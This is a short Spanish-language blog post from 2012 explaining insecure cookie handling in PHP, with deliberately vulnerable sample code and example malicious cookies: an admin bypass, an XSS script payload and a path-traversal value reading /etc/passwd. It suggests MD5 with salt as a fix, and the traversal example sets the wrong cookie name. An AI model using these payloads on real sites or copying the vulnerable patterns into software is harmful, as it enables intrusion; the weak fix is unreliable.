jueves, 7 de junio de 2012

Insecure Cookie Handling

Aburrido, y tras un tiempo sin escribir nada, se me ocurrió escribir algo sobre Insecure Cookie Handling... Ahí va.


¿Qué es? 
Es una mala filtración o mal uso de las cookies, donde se almacena información sensible que puede ser alterado con facilidad.
Nivel: Muy bajo.
Potencia: Elevada

Ejemplo: 
if(isset($_COOKIE["UID"]))
{
if($_COOKIE["UID"]=="Administrador")
{
echo "Bienvenido, administrador";
} else {
echo "Acceso restringido";
}
} else {
echo "Debes Logearte";
}
?> 

Lo pruebo desde mi máquina, y como es lógico me dice que debo loggearme.
Así que pediremos ayuda a Live HTTP Headers, y con el editamos la cookie.

Debes loggearte: Cookie: usuario=yo-mismo
No autorizado: Cookie: usuario=yo-mismo;UID=Usuario
Acceso a admin: Cookie: usuario=yo-mismo;UID=Administrador

Es increible la cantidad de sitios web vulnerables a este ataque, de una u otra forma.

Explicación:
Cuando haya que realizar alguna comprobación sensible, cono en este caso, debe estar todo protegido (quizas un MD5&SALT lo solucionase rápido)... Esto provoca todo tipo de vulnerabilidades, ya que te deja una puerta abierta.
Según el uso, quizás podais lograr algún LFI, XSS, PHPi, SQLi, o más fallos que intentar provocar... Siempre suele caer algo, por pequeño que sea

Ejemplo #2 ~ XSS:
if(isset($_COOKIE["usuario"]))
{
echo "Hola, ".$_COOKIE["usuario"];
} else {
echo "Inicia sesión";
}
?>
Cookie: usuario=<script>alert(document.cookie);</script>

Ejemplo #3 ~ LFI:
if(isset($_COOKIE["file"]))
{
include($_COOKIE["file"]);
} else {
include("Home.php");
}
?>

Cookie: usuario=../../../../../../../../../../../../../../etc/passwd

Este ya un tanto más ridículo xD

Despedida: Confío les haya sido de utilidad. Cualquier duda en este mismo tema.

Un saludo!

No hay comentarios:

Publicar un comentario